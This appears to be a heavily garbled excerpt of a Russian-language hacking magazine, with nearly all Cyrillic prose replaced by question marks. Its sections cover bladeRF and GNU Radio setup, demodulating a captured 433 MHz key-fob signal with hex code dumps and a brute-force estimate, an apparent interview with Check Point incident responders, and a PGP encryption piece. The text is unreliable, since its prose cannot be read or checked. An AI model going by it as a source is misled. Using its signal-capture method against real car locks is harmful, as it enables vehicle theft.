?????????? ??? ???????? ????, ??????? ????????? ???????????????? ??????? GPS, ????????? ??а?????????? ???? Bluetooth, Wi-Fi ?а???? ??????????? ???????
???? ??????????? ??????? ??????? GSM, ?а???? ?????? ???? ?????????? ??????? ?а????????????? ?а??????????? ???????????? ??????????а? ????????
?????.
????? ???????????? ??????????? ???а???????????? ???????????? ?????????? ??-????? ???????? GNU
Radio. ???? ???????? ???? ????? ?????? ????? ????????????, ??????? ??а???????? ?а??????? ?????????????? ?????????????? ??????? ?а?????????? ???????????? ???а?????????? ?????? ?а???? ?а????????? ?????
??????????? ???????. ??? ?а????? ????????????.
INFO
????????
???????????????? ?????
????????, ?????????
????????????? ?а?????
??????????, ??а?а?????
?????? ??????? ?????
?????????? ????????
??а?????? ??????????
???????? ????????
(?а???????????? ?а????????
????????????? ????????
?????), ??? ????????
???? ?а??????????
???а????????? ?????.
?????????
????????? ????? ????????? ??аOS X. ???? ?а???? ???
Xcode, ?? ????? ??? ??????????, ??? ???а?????? ?а???
???????????? ??????????, ??????? ??? ???????????.
????? ??аApp Store. ????????? ?? ????? ???????????? GNU Radio, ??????????? ??????????? ??????? X11
(??????? ????? ???. ?????? ????????? ???????? ?????????? (MacPorts, ???? ????? ???, ????? c macports.org):
INFO
??а?????????? ???????
GNU Radio ?????
???????? gr-gsm,
??????????? ????????
?а??????? ????? GSM.
$ sudo port install bladeRF +tecla
????? ????? ???????? ?а???? ???????????? ????????? ???????? .bashrc (??? ??????????) ?????????:
export DISPLAY=:0.0
export PATH=/opt/local/bin:/opt/local/sbin:$PATH
export MANPATH=/opt/local/share/man:$MANPATH
export PYTHONPATH=/opt/local/Library/Frameworks/Python.framework/
Versions/2.7/lib/python2.7/site-packages:/opt/local/lib/
python2.7/site-packages:${PYTHONPATH}
???? ??? ?????? ???????, ??а????????? ??????? ?????? ???? ???????? ????? ?????:
$ bladeRF-cli -p
Backend:
Serial:
USB Bus:
USB Address:
libusb
d1ece1003730a1a27f9beeba1f511413
4
8
?????? ?? ?????????? ????? ??????????, ??????? ?а????????????? ?????:
$ bladeRF-cli -i
?а????????? info ?аversion:
bladeRF> info
Serial #:
VCTCXO DAC calibration:
FPGA size:
FPGA loaded:
USB bus:
USB address:
USB speed:
Backend:
Instance:
bladeRF> version
bladeRF-cli version:
libbladeRF version:
Firmware version:
FPGA version:
d1ece1003730a1a27f9beeba1f511413
0x894e
40 KLE
no
2
3
SuperSpeed
libusb
0
0.11.0-git-58c3ff4
0.16.1-git-58c3ff4
1.7.1-git-ca697ee
Unknown (FPGA not loaded)
????? ??????? ???????? ?? ???????:
FPGA size:
FPGA version: 40 KLE
Unknown (FPGA not loaded)
?????? ??????: ???а?????? ?а???? ?????????? ?????
?????????? ????? FPGA, ??????? ????????? ????????
???????, ???????? ??????. ?а??????????? ??а??????? FPGA (? ??? 40 KLE) ???????? ???????????????
????, ?а????? ?????? hostedx40-latest.rbf. ?????????
?а?????????? ????????
$ bladeRF-cli -l hostedx40-latest.rbf
??а?????????? ?????? ???????? ???????а? ?????? ???
?????? ?а??????.
???????? ?????????? GNU Radio, ??? ????? ??????? ????????
INFO
FPGAа? ?????????????????
??????????, ??????
??????????? ??а??????????
?????? ?????????
????????? ????????
???????? ?????????
???????? ?а??????
?????????? ?а????????
????. BladeRF, ????????,
?а??? ??????? ?????
????????? ???? ??а??????
???а??????????.
$ sudo port install gnuradio +grc +swig +wxgui +qtgui +python27
???????? ????? ???????? ?аGNU Radio ????????? ?????? bladeRF ?а???????
?????? gr-osmosdr:
$ sudo port install gr-osmosdr
?????? ????? ????????? ????????? ?а?????????? ?а????:
$ gnuradio-companion
????? ???а?????? ???????? ???????
??????? ??????? ?????? ????? ?а????????????? ?????????? ???????, ?? ??????? ??? ???????? ?????? ??а??????????? ???а????????????. ???а????? ?а?????? ???? GNU Radio ???????? osmocom Sinkа? ??? ?????? ?????? ??????????, ???????????? ???? ??а??????? ??????? ?а?а????????? ????? ?????????
???????????? ?????????? (? ???? bladeRF, ?а?а????? Device Arguments ?????
bladerf=0), ??????? (Ch0: Frequency) ?а?????? ?????????, ??????? ????? ?????? ??????. ????????? ????????? ????? ???? ???????? ??а?????????.
?????????? ?????????? ????? ?????????? ?????????? ?????? ????????? ??а??????? ???????: ???????? ???????? ??? ?????? ????? ?а???????????? ??????????. ????????? ?а??? ??????, ??????? ???????, ??????? ?а???????? ?????? ????? ????? ???????? ??????? ???????: ?????? ???????????? ????
WX GUI Slider ?а????????????? ??????? ??? ????????, ???????? ??а?????????
?а????????а? ????????, freq. ?аosmocom Sink ?а???? ??????? ????? ??? ?а?????а? freq. ??????? ???? WX GUI Waterfall Sink, ?????????? ??а???????????
??????????? ???????, ?а???????? ?????? ?аosmocom Sink. ????? ??а????????????? ?????? ??? ?????? ??????, ?????? ???????? ??? ?????? ?а????, ?а????? ??? ??????????????? ??а?????? ???????. ???а????? ??????? ???? File Sink
?а????????? ????? ?????, ?а??????? ????? ???????? ?????? ?а????? ????,
??????? ?????, ?а?????? ?????! ???????? ?????????, ????? ????, ?????? ?????????, ????? ??????? ??????? ?а??????? ?????? ???????. ???????? ??????????
????? ???аtuner.grc, ??? ?????? ????????? ???????? ???а??а???. 1. ??? ?????? ?а?????? ????? ?????????? ??а???. 2.
???. 1. ????? ??????
???а?????? ????????
???????
???. 2. ????? ?? ?????, ??? ???? ?а????? ??а??????? ??????? ??а432,5 ??а434,5 ??? ?а????????? 16 ?. ??????????а? ??????, ??????????? ??а??????????? ????????? ???????
?????? ???????, ??????? ??а???????????? ???????? ??????????, ?а??? ??????а? ?????? ??а???????! ????? ????????, ??? ????? ????? ??? ????????? ??а?????? ????????. ???
?????? ?а??????? ??????? ????????? ?а????????? ??а????????? ???????, ?? ????? ?????? ??????????? (????? ??а???????), ????????? ??? ?????????? ???????????? ?????????
?а?????
?????? ??????????? ???????
???????? ????? ????? (????????, ??? ?????? radioaudi-reversing.grc),
??? ?????? ????? ??????? ??? ??а?аbladeRF, ?а??а??????????? ?????. ???а?????
?????????? ???? File Source, ???????? ?????? ????????? ??? ?????. ??????
?????????? ????? ??????????. ???а???????? ?????????? ??а?????????? ????? л???????╗ (???. 2) ?а??????????? ?????? ??????? ??а??????? ??? ????????
??????? ???а????? ???? ???????? ??а???? ???????????? ???????? ???????
???а??????? ??????? ???????, ??????? ??????????? ?????? ????????? ???????? ??а????. ???а????? ????? ????????? ?????? Low Pass Filter, ??а?? ???????? ???????, ???????? ??????? ?????? ??????? ???????, ?? ???? ????? ??а??????
(0 ???). ? ??? ? ????? ?????? ? ?????? ??????????? ?????? ?? ??????????? ????
? ????????????? ????? ??????????, ? ?????????? ????????? freq ???????? ??
??????. ??а???? ?????? ????? ????????, ???????? ??????????? ??аosmocom
Sink ?????? ??а??????, ?а????????, ?????? ?????????? ?????? (??? ??????????). ???а????? ??????? ???? Multiply ?аSignal Source, ??а???? ??????? ???????
?????? ??????? ?????? ?а??????? File Source. ????? Multiply, ?а???? ???????,
???????? ??аLow Pass Filter. ????? ? ?????? ??????? ????? 10 ??? (????????
10e3) ?а?????? ???????? 1 ??? (???????? 1e3, ???? ???????? ???????? ??а??,
???а????? ?????? ???????? ??????, ?? ???? ????????? ??????? ???? ?????????
???????). ?????? ?????? ????????а? ??????? Signal Sourceа? ?? ????????,
??а??????? ???а??? ????? ?????????? ????????? ??????. ????? ????? ??????? ??? ??а??????? ??????? ??а?????????, ??? ?? ???аfreq, ??? ??????, ????????, freq_0. ????? Low Pass Filter ?????? ?????? ?????????? ??аWX GUI Waterfall
Sinkа? ???????? ?????? ?????? ???????? ????? ??????????, ??а???????? ??????? ?а0 ???.
???! ??а???? ????? ?? ??? ????? ???????? ??????????? ?а??????? ???????. ????????? ??а??????? ??????? WX GUI Scope Sink ?а???????? ??? ?а??????? Multiply ????? ???? Complex to Mag, ??????? ??????, ???а?? ?????????????, ???а???????? ???????? ??????? ??а??????????? ??????? ?а??????? ?????
??????? ???а???????????? ???????????? ????????. ??а???. 3 ????? ??????????, ???а??? ?????? ?????????. ?а???????, ?????? ?а??? ?????????? ?а?????????????? ??????????? ????????? ?а???? ?????? ??? ??????, ??????? ??
????? ????? ??????? ?а????????? ?????????????. ???а????? ???????? ?????
Complex to Mag ??а???? Binary Slicer, ??????? ??????????? ??????????????????
???????? ??????? ?а?????????????????? ????? ?а?????? ?а??????????? ??а????,
?????? ???? ???????? ??? ???. ??? ???а?а??? ??? ???????? ???????? ???????
?????? ????, ?а??????? ???????? ??????????????? ????? Add const ??а????????? ???????? -170m ??????? ??????, ????? Binary Slicer ???? ??? ?????????.
????? ?????????? ???????? ?а???? ????? ??? ???????? ??? ???? File Sink.
???????, ??? ???????? ????? ??а???????? ??????????? ?????? ????????,
???аRational Resampler ?аThrottle. ?????? ????????? ??????? ??????? ????????????? ??????? ???а????, ????? ??а??????????? ?а?????????? ??????????? ???????, ?????? ??а???? ???????? ??? ?? ?а???????????? ???а???????? ???????? ??а????????? ?а???????, ????? ??а????????? ???????????? ???? ?????
?????? ??????? ???а???????? ???????? (????????, ?????????? ?????? ???????? ?????? ??а?????, ???а?а???). ????? ????? ????????, ??? ???а?????? ??????? ????????? ????? ?????????? ???????????? ???? Frequency Xlating FIR Filter,
??а???? ??????????? ?? ?????????? ???а????? Multiply.
?? ?????? Waterfall Plot ?? ??????? ??????? ????? ???????? ???????? ??????. ?? ??????? Scope Plot ?? ???????????? ??? ??????????? ????????? ??
???????.
???. 3. ??? ??????? ???а??????????? ????????? ??а???????
???. 4. ??? ??????? ????? ???а?????? ?а????????
????????????? ?????????? ??????
????, ?? ???????? ???? ?а??????????????????? ??????, ?????????? ??????
?а???????? ?????. 0x01а? ???????, 0x00а? ????. ???а?????? ???????? ??а?????? ??????????? ??????, ??????? ????? ?????????????????? ?????? ?а?????
????? ????????????? ?????? ???????????????? ???а1 ??? 0, ?а????? ????????? ????????? ??????? ????? ?????.
???а????????????? ?????????? ?????? ?а????????????????? ???? ???????? ??????????????????:
2e23a99426bd8018
2e23a929426b805e
2e23a91f29428039
2e23a9031f298058
2e23a9cf031f809e
2e23a932cf0380b3
2e23a90132cf80b1
2e23a9ab013280f6
2e23a9fab0138040
2e23a90fab0180c8
2e23a9a0fab080fc
2e23a94a0fab80a7
2e23a9234a0f802b
2e23a9a234a08022
????? ?а????????? ????? ????? ???????, ??? ?????????? ??????? ??????? ?????????? ?а???? ?????????????????? ??а8 ????, ???а???? ?????? ??? ?????????
?а???????????? ????? ?????????, ????????? ?? ????
?????????? ??а???????????? ??? ??????.
INFO
???а????????? ??????,
??? ????????????
??????????????? ?????
??а?????? Rolling code,
???????? ??????????
??????? jamming, ???????
??????????? ?а???, ???
?????? ?а????????????
??????? ???????????????
?а????????????
??????????? ?????
???????, ???
??????????? ???????
??? ??а???????? ?а?????
???????, ??? ?????,
??а????????????. ???
???? ???????????
???????????? ??????
?а??????????.
??????????
???а?????, ???????????????? ????? ?????????? ???????? ??????, ????????? ?????????? 25*8 ~ ???????? ????????? ????????? ???а????????. ????????? ?????? ?? ????? ???? ?? ?????????? ????? ????????? 0 ?а1 ???а?????
?????????????????? ??????? ????????? ???????? 45 ???????, ??? ??????
?а???????? ????????????? 400 ??? (????? ????????? ???????? 2 ??? Ration
Resampler??? ??а5) ???? ??? 45 000 * (1/400 000) = 0,1125 ?. ?????? ?????
???????? ???а???????, ??? ???????????? ??????? ????? ???? ???? ??а??????,
?????????? 0,1125 * 1012 ~ 1,12511 ?а~ 3500 ???. ?а??????? ???? ?????? ???????
?а??????? ?????????? ????? ????????? ????????? ??? ????????? ?????????.
?????? ?? ???-?? ??????????? ?????????????? ????? ???????.
????? ?а??????? ?а????????!
COVERSTORY
?????????
?????? ??????????
???????????
???????
???????????? ????????????? CHECK
POINT INCIDENT RESPONSE ??? ?????
?а???, ???а??????? ????? ?????????
???????? ?????, ???????, ????????????????? ????????
?а?????????????? ?????? ?????? ?????? ??????, ?а?а??
????? ?а???????? ??? ?????? ????? ??а??-?????????????? ???? ?????. ??? ?????????, ?а?а?????? ????????? ?а?????????? ????? ???????? ??????, ????? ??????? ??????, ?????? ???? ?а??????????? ??а????????. Check Point
Incident Response ?а??? ??????? ???????? ????????????,
??????? ????????, ???? ???-?? ????? ??а???.
?? ??????????? ?а?????? ???? ??????? ????? ????? ?а?????? ???????????
CPX 2016. ?????а? ????????? ??????? ??????????????. ?? ??????? ???? ??????? ???????? ??? ?????, ??а???? ?????????, ?а??????? ?а????? ??а??????
???????????, ?а??? ????? ??? ??????? л???? ?????????╗ ????? ?????. ?????? ???????? ?аCPX 2016а? ?а??????????? ????????????? ????????? ??????? Check Point ???????? ????????а? ?? ??????? ?а??????? л?????╗.
CPX 2016
?а?????? 2016 ???? ???????? Check Point ??????? ??????????? CPX 2016,
??а??????? ??????? ????? 4000 ?????????? ??а46 ?????, ????? ???????? ???????? ?а??????? ????????????????? ?а???????????? ????? ??????? ?????
?????????. ???????? Check Point Software Technologies ???? ???????? ?а1993
???? ????? ?????? ?а????????????? ??????? ???а?????? ?????? ????????????? ?а?? ????? ???????????? ?????, ?а??? ????? ???? ??а?????? ??????????
?????????. ??????? Check Point ???????? ????? ??а??????? ?а????? ???????
?а?????????? ??????? ????? ??????????? ?а?????????? ??????? ???а????????????? ????????.
???????????? ??а?????????... ?????? ???, ????? ?? ????????!
?а????? ????. ??? ???????? ??????, ??? ? ????????, ??а?а???????? ???? ???????? ?????????. ?а???? ????????, ?? ? ???????? ????????, ????????????
??а????? ??????? ????, ?а?? ???????? ?????? ???? ?а????? ???? ???? ?а?????? ???????? ??а?????? ?а???????? ????????. ??? ???????? ????????? ??????
??а????, ???а???-?? ????????, ?????? ??? ?а???? ?????? ?? ???????? ????????? ?а?????, ???а???????????, ??а???? ????? ??????? ?????? ????? ????, ???а??
?????????????????. ??? ??? ??? ?????????? ?????????, ??? ?????????? ?а??
?????????, ?????? ???????????? ?а???????????, ???????????????? ??????,
???????? ?а????????? ?а????????, ????? ??????, ???? ?? ???-?? ???????.
?? ???? ?? ??? ????? ?????????? ????????
?а?? ??????????????? ?а???????? ?а???а????, ??? ?а?а??????? ???????
?????????. ?????????? ?а??? ?????? ??а?? ?? ?????. ?а??? ???? ????????,
??????? ????????? ?????? ??а???????????, ??а?? ??а????????? ???????
?а?????????? ?а?? ???? ??а??????? ?а??а?????? ??????????. ?????? ???????.
??? ????????? ????????????? ????????
?а???, ????? ???????, ??????????? ?а?????? ??????. ???? ???????? ?????
???????????? ?а??? ???, ??? ?а??? ???? ????? ?а??????, ????????? ?а?????? ?????? ?????. ??? ?????, ????? ????? ??????????? ???????? ???????? ?????? ???? ?а?????. ?????????? ???? ?а??????? ????? ?????? ??????? ?а?????? ???????????????? ???????? ???? theZoo ?а????????????? ?????? ?????
Locky. ??а?? ????? ???????? ?а?????????? ?????????????-??????? ?а??????
??а?????????????? ?а???????????? ??????? ?а??????? ???????????, ???????
?????????? ?????????? ??????.
?????????а? ??? ????? ??????-?? ???????? Check Point ??? ????????? ???????
?а ??? ??????. ??? ????? ???????? ?а????? ????????? ??????????????а?а??а?????? ?а????????? Check Point.
??а?а?????????? Check Point ?а??? ???? ?????????? ?а?????? ????????? ?????????
?а ?????. ?? ?????? ??????? ?? ????? ?????????? ???? ???????????? ?а??????? ????? ?а????? ????? ??????? ????. ??? ????????? ??? ????? ??????,
??? ??????????, ?а????? ?????? ???????? ??? ?????????. ?? ????? ?????????? ??????, ?а????? ????????????? ???а?????? ???????? ??? ???????????
????????? ??????? ??????. ??? ???? ??????????????? ????????. ???, ??? ??????? ?????????????.
????????? ??????? ??????, ????????, ??????? ????????????????? ??????????? ??а?????.
?а ???? ?????? ????????. ???? ?? ?????, ??? ????? ??????????? ????????
????, ?? ????????????? ??????? ??????????????? ?а?????????? ???? ??????????? ???????? ???????, ????? ???????? ??????. ???? ?? ?????, ??? ?а?????
??? ??????????? ???????, ?? ????? ??????????? ????????? ?????? ???????? ??? ?????????? ?? ????, ??? ???? ??????????? ???? ????????. ?а?????, ???а?
??? ???????, ??? ??????? ??а?????, ?????????????? ?а????, ??????? ?а??? ????
??????? ??а?????????????. ???????, ??? ?? ???? ???????,а? ??? ????? ?а??????????: ????????????? ??а????????? ?а??а???????, ?а????? ?????????????
?а??????????? (? ?????????, ?? ???????????? ?а?????????? ??а??????). ??
?????????? ??? ?????? ???? ??????? ?а?????? R&D ????????, ????? ???????????? ??? ??а?????? ??а????? ?а?????????? ????? ????????.
???а?????????? ???????? ??????????????
?а ??-???????. ????, ?а???????, ?????? ?????? ?а???????, ??? ????????????
DDoS-?????, ?? ?а??? ???? ??????? ???????? ??????: ?? ???????, ???а????????
??? ??????????????, ??? ??а???????????? ?????, ??? ?????????, ????? ?? ??
????????? ???? cloud-based scrubbing, ????? ?? ?? ????????? ????????????
??а????? ????????????, ???????? ?? ???? DDoS ????-???? ?????. ????? ?????? ???????? ?????? ??а??? ??? ???????, ????? ?????????????? ????? ?а?????? ??????. ???????? ??? ?? ??? ?????????? ?а?????? ?а????????. ???? ??
??????? ?????????? ?????????, ??????? ?? ??????? ?????? ??а??????, ??????,
?? ????? ???? ?а????????????-??????, ?а??? ??????-?????? ???? ????????,
??? ???? ?? ???? ??? ??? Locky. ???? ??? Locky, ?? ?? ???? ?? ?????? ???????
?????? ?а????? ?????? ????????????, ??а?? ????? ?????? ??????? ???, ?????
???????? ??а????????? ?????. ??????????, ???а?????????, ?а????????? ????
??а????????? ????????????.
?? ??????? ??? ???????? ???????. ???? ?? ?????-?? ????? ??а???????????
?а ?а???? ???????? ?????????? ????? ????-??? ???????? ????????, ???????
???????? ????????? ??а?????? ?????????????? ?????. ?????-????? ????.
??а????, ??????? ?? ??? ?а????????? ???????? ???????? ??? ?а?? ????????
????????????. ? ?????, ??? ???? ??? ????? ???????? ????????? ?а??? ???
??а?????? ?????????? ???-?? ???????? ????????????. ??????? ????? ????????, ??? ???????? ??????? ??а?????????, ?а????? ????????? ???????? ??????,
??? ??? ??а????????? ??????, ?а?????? ?а?????.
??а????? ???????? ??? ?? ???????????
?а ??, ???????! ?а????????? ??а??? ????? ??????????. ??а????? ?? ????
????а? ??????????? ??а????????????????? ?а?????? ?а????????, ???????
???-?? ?????????? ????? ?????????.
??????????? ?? ??????????? ?????? ?а????? ??????? ?а???? ???????
?а????? ?? ??? ??????? ??а?????????????? ??????? ?а????, ?????? ????? ????????? ?? ????????. ???????????? ????????? ?а???????????? ?????????????? ??????? ??а????? ?а???, ??? ?????? ?????? ?а?а??? ?? ??????????. ??????
?????? ?????????? ??а??????????-?????.
?????? ???????? ???????
?а ???? ?? ???????? ????????, ??????? ????? ?????? ?а?????????? ??????,
?????? ?????, ?а???? ???? ????-?????? ??????, ?а??? ????? ?????? ??а??????.
???? ?? ?????? ?????? ?а???????, ?????? ?????, ?? ????????? ??а?????????????? ???? ??????? ???????. ?а???? ?? ?а?????? ?а?????????? DDoS... ??,
??а??????? ???? ?? ?????? ???????????, ??? ??? ?????????.
??? ???????? ????????
?а??? ??????? ??а????????: Saudi Aramco ?а?????????? ??????, ??????????
??????????? ?а??? ?????.
? ???? ?а???? ?????? ??а????? ????????. ??? ?? ??а?????? ?а??? ?????????????
?а?, ??а????????! ? ?а?????? ??а???? ???????????? ?а??????, ????????? ?а?????????????-???????, ??а??? ? ???? ??????????а? ??? ??? ??а??? ?а????? ?????????? ?????????. ?а???а??????? ??????????? ????????? ?????? ??????????. ?а?????? ???? ??? ??????, ????????? ?а???????????. ???? ?а?а?????????,
????????? ?а??????????????? ????????. ?а?????? ??а??? ?? ????????????...
? ??а???? ???????, ?а?????? ????????? ????????, ??а?? ?????? ??? ????? ?????
??а??, ?а??? ??????????? ?????????. ?а????? ?????? ??? ?????? ??????????
??, ??? ?????? ???????. ?а??????а? ????? ?????? ??а???????. ?а??? ?а?????
?а??а??, ??? ?????? ??????????? ??????. ??????, ? ???????? ????? ????????? ??а???? ????????.
? ??? ???????, ??? ?? ??? ????? ???????? л???????????-?????╗ ??????
?????? л???????????╗. ??? ??????????????? ????????????, ??а?????? ???
?а??? ?????. ??а???? ??а?а???????????????, ?а?а???, ??? ??? ?????????? ?????
???? ?а?а?????????????, ?а?а??????? ??????? ??????????? ?а???-?? ?????????
?? ?а?????????. ???? ??? ????????, ?????? ?а???. ?а????????? ??????? ????
??????????????? ????????, ??а???а???? ??? ?а??а????????? ?????????????.
?а???????????????? ??????? ????? ????????? ??????? ??? ??? ???-??????.
?а?????, ???????????а? ??? ??а??????????? ???????????? ???????????.
?а?а?????? ?? ???? ??????????
?а?? ????? ?????????? ??а????????? ?а????, ?а??? ?? ????????. ? ?????,
???а??????? ??? ????? ??????? ??, ??? ?? ??а????? ???????? ?? ??? ???? ???????????? ???????. ?? ?????? ???? ????? ???????????, ??а?????? ???????????? ?????????, ??а??????, ??? ??????, ?а??? ?????. ???? ????а? ??????
??а????? ?????,а???? ?? ?????? ???????????-????? ??? ?????????????????.
?а??? ???? ?????? ???????? ?а????????
?а??-??. ??, ????! ??а??? ??? ???????? ??а????? ????????. ?? ?????? ???а???????? ?????? ??а??? ?????, ?а???????? ??? ?????????? ????????????.
?? ???? ??????, ??????? ?????, ??? ?а???а?????? ?а?????????
?а??????. ????? ??а??? ????? ???????? ?а????? ???????, ??а??? ????? ??а??????, ?????? ??? ??? ????? ??????, ???а???????????? ??? ?????? ???а????????
??????. ?????, ?а???????, ????????-??? Nuclear. ?а??? ????? ???????? ??????, ??????? ??? ??????? ????????, ?????? ??????, ???а?? ????????. ??? ??????? ???????????? ?????????? ??????, ??????? ?? ?????????? ???а?????
?аC&C. ?а????? ??????? ???? ????????, ?? ???? ????????????. ???а??? ???????а? ??????????? ??????? ???? ????????? ????????. ????????, ?а??????
?аLocky ?а??? ??а???? ????? ??????? ??а??, ????? ??????, ???а?? ??????????????. ???а?????? ?? ??????, ???а?? ??????? ?а???а????????? ??? ??????????, ??
?????? ????? ?? ??????? ??????, ??????? ???????? ?а?????? ????????? ???????. ?а????? ?? ?????? ???????????????? ?а???? ?????? ?аC&Cа? ????????
????? ?????????? ?????. ?а?????, ??????? ?????? ????????, ??? ???? ?????? ????????? ??? ????-??? ???? ?????? ?????а? ??? ???????????? ???а??????
?а????????, ?а??????? ?? ???????. ????? ?????? ????? ?????.
? ??а?????, ??? ???????? ?????? ??? ?? ?????? ?????????. ??? ?????, ?????
???? ?а???? ?????????? ?а?????? ????.
?а??а??а??? ?????? ??????????? ???? ???????????????. ?????????????? ??????? ???а??? ????? ?????, ????? ?????? ?а?????????????? ???, ??? ??????????.
?а????? ???????? ???а?????? ?а???????. ?а????????? ?????? ??????? ??????. ?а??? ?????? ????????, ??? ?? ???????. ?? ?????? ????? ??? ??а?????
?а??????? ??????????, ????? ??????? ????? ?????????. ?? ??? ?а????? ??????? ?????????? ?????????, ??????? ????? ????? ?а????????????, ??а?????
?а??????? ?????? ??а???????? ?????? ?????. ??? ???????????? ??????, ??? ????? MD5. ?? ????????? ???а????? ??????? ??????? ??????, ??а???? ???а????
????????????. ??а?а?? ?? ????? ??????? ?? ?а????????, ??? ????? ?????? ??????? ?а????? ????????? ??а? ???????? ?а??????? ??? ????? ?а??????. ???
????? ??????? ????????.
???????? ??????? ?а????? ???????.
?а? ????? ???????? ?а????????-?????????? ?аMCI. ? ??? ?????? ????????????? ????????? ??а????????????. ????? ??????? ?а???????????? ??????????????? ?а?????????? ????? ???, ?а????? ?????? ????, ?аCheck Point. ???
????? ???????? ??? ???????.
??, ??? ?? ??????? ??????, ?????? ??а??, ??? ?? ????????? ?аMCI?
?а ??, ??а?????????? ???? ??????? ? ????? ???????? ???? ?а?? ??а? ????????? ???????? ?а???????????? ??????? ????????????. ?? ?а????????? ?????
?а????????????? ??а???. ?????? ??? ??? ??а?????????? ?????? ??????????????? л???????????? ??а?????????╗, ?? ??? ??????? ??????????????.
??????, ???????? ???! ?? ???? ?? ???? ??????????? ????? ??? ?а?????? ????????? ??????????
?а??????. ??????, ???????? ????: ? ???-?? ??????? ?а?????? ????? ?????, ??????? ????????? ????? ?????????.
?????? ??? ???? ??-????????
?а???????! ???? SPARC 5 ?а????????? Solaris-?????, AIX, HP-UX, VAX ?а?????? ?????. ??? ??? ????? ???????. ??? ???? ?а????? ?????? ?? ????? ?????,
??? ?? ?????? ???-?? ???????, ???-?? ??????????????. ?? ??а?????, ???а???????? ????? ???????????? ??? ?????????, ?? ?????? ???? ?а???? ??????
?а?????? ?а???????? ?а???, ???а??? ????????? ????????. ??а??а??? ????? ????????? ????????? ?????????, ??????? ??, ????????, ??а??а????? ????????.
?????? ???? ????????? ??????????, ??????? ????? ????? ???? ??????, ???????? ???????. ??? ??, ???? ?? ??????, ??а?? ??а???????????? ????, ???а??? ????? ???????????? ?аiPhone, ?а???????. ?а?????? ?? ????? ??а?????? ?????????
??????? ?????????.
?а????? ?????? ???????????? ???? ??? ??????????: ??? ??? ?????? ??а???????? ???? ?а????????????.
?а ?а???. ?????? ????? ???? ??????? л? ?????, ? ???????? ?а???? ??????╗.
?а?????? ?? ?а??а???????, ??? ? ??? ??? ?а??? ?????? ???? ?????????? ??а???
????????? ????????. ?????? ??? ??????? ?а??????????, ?а??????, ?????????
?а??????. ?????? ???????!
PCZONE
????? ?а???
?а?????? PGP
84ckf1r3
84ckf1r3@gmail.com
??????
???????? ?????
??а???????????
???? ??????????
??? ???????
??????? ?????????а? ??????? ?????
???а??????. ?????? ???? ?а??? ??????
?а????????????? ???????, ???????? ??????????? ???????? ?????? ???а????????
??????????????? ???????, ?а?????????? ?????????? ???????? ???????????
???????????? ?а???????? ???????? ????
??????? ?????????????. ???????????? ?????? ????????? ???? ??????????
??а????????????? ?????а? ??? ?????????
??. ??а???а???????
WARNING
??? ?????????? ????????? ???а????????????
?а??????????? ??????????? ??????????? ?????
??а????? ?????????,
???????? ?а???? ?????????, ???????????????
???????????? ??. ???????? ?а????? ??а?????
??????????????? ??а????? ????????? ????.
???? ?????? ?????
????????????????? ??????? ???а??????????? ????? ??????????? ?????,
??а?а?????? 25 ??? ????? ????????? PGP ??? ??а???????? ????????????. ??????? ?а???, ??? ??? ?????????? ??а?????????? ?????????????? ???????? ?????????, ????????? ???????????? ???????????? ????? (? ??? ????? ???????????? ????? ???????? ????????), ????? ???????????? ?????????????, ????????
????? ????????? ???????????, ?? ?а?????? ?????? ???а???????? ????????????.
??-?? ????? ??????????? ?а???????????? ????????????, ?а??? ???? ????? ??????? ????????? ??????? ?????????? ?а???? ?????? ?а??????? ????????? ??а??????, ????? ?????? ??? ???? ?????????. ?????????, ???????, ???????? ????.
???? ????????? ?????????? ????? ??????????? ??а????????? ??????????
?????, ??а??????? ????? ???????? ??? ????????: ??? ?????? ??а???????????
???? ??? ???????? ?а?????????????? ?а???????? ????? (???????? ???? ??????)
?а?????? ????? ??????????????? ???а?? ?????????а? ??а??????????? ??? ??????????? ?????? ???а??? ?????????.
????? ???????, ?а????????????????? ?????? ????? ?????????? ??????
??????????????? ??? ?а????? ??????????, ??????? ????????????? ??????
???????. ?а?????????, ?? ????? ?????? ?а???????? ???????????? ??а?????
?????????? ??????. ? ????????? ???? ????????? ??????? ?а???? ?????????
????????????????? ??????????, ??????? ?????? ?????????? ??? ??а????? ?????? ?а???????? ?????????????????? ???????? ?а??????????? ?????. ???а?????????, ??? ??????? ????????? ??а?????, ??? ??????? ??? ????? ?а??? ????!
??????????, ??? ??? ????? ???-?? ????? ?????? ?а?????? ?????????? ?а??????.
???????? ??а??????, ?? ?????????? ???????? ?а???????. ??? ???????? ?а????????-????, ??? ???????? ???????????? ????? ????? ???-?????????. ????? ??????????? ??????, ?? ????????????? ?????????? ?????????? CryptoData, ???????
?????? ??? ?а?????? ??? ????????????. ??????????? ??а????????, ??? ?????????? ???????, ?????? ??а??????? ???????????? ????? ?а????????? ?а???? ?????
????? VPN. ????? ????????? ?????? ?? ???????? ?????????. ???? ??? ???????????? ??????? ??????? ?а?????? CryptoData, ??а??? ????????? ???????.
?????? ????????? ???а?????
?а??? ????? ??? ??????? ??? ??????, ????????? ?????. ?? ????????, ??? ????????? ???? ??? ??а?????? ???а????????? CryptoData ??а????????????? ?????.
????? ?????? ????????? ??? ?а????????? ????????? ????????, ??????? ??
??????? ?а???? ??????, ?????????? ??а???? CryptoData.
????????? ????? ?????????? ?????? ???а?????
????? ???????? ???????? ??????, ????? ?а??? ???????? ?????? S3CRYPT ?а????????, ??? ???? ???????????? CryptoData ?а??? ??????, ??????? ??? ?????-??
?????????? ?а?????. ??? ?????? ?а??? ??? ????? ????? ?????????, ?а????? ???
???? ????а? ??? ????? ??а?????????.
??????? ???????????? ??????
???? ????? ??????? ?????? ???????????? ?а???-???? ?????? ?????? ????, ????????? ??а???? ?????? ???????? ???.
?????? ????????????
?????? ??????? ?????? ?????? ??аEEPROM, ??????? ??? ???????? ??????????? ?????.
??????????? ??????? ??? ??????????
???????, ??? ?????, ???а???????????? PGP. ??? ?????? ????????? ??? ?? ???
????? ?а???????? ??????? The Bat, ??????? ??? ?????????? ??а?????????? ????????. ???а????????? ?????????? ????? ????? ????? ?????? ????? ??????,
?а??? ???????? ?а?? ?????? ?а???????? ???????? ???????? ??????? ??? ??????
?????????????? ???????? ??????????? ?????. ????????, ????? ?????????
????? ????????? ?а????????? ???.
???? ??????? ?аPGP
????? ????????? ??????? ???????. ??? ???????? ??????? ?а????????? ???????????? ????? ?а?????????? ?????????????? ?????? ???????????. ???????,
??а??????? ????????. ?????????? ???????? ??????? S/MIME ??????????
???? ????? ???????????, ??а??а??? ????????. ??????? ??? ????????? ?а????????: ?? ?????? ??????????? ???? ??а??????? ?????? ?????, ?????? ????????
????? ?а?????? ??????, ??????? ????? ?????? ???.
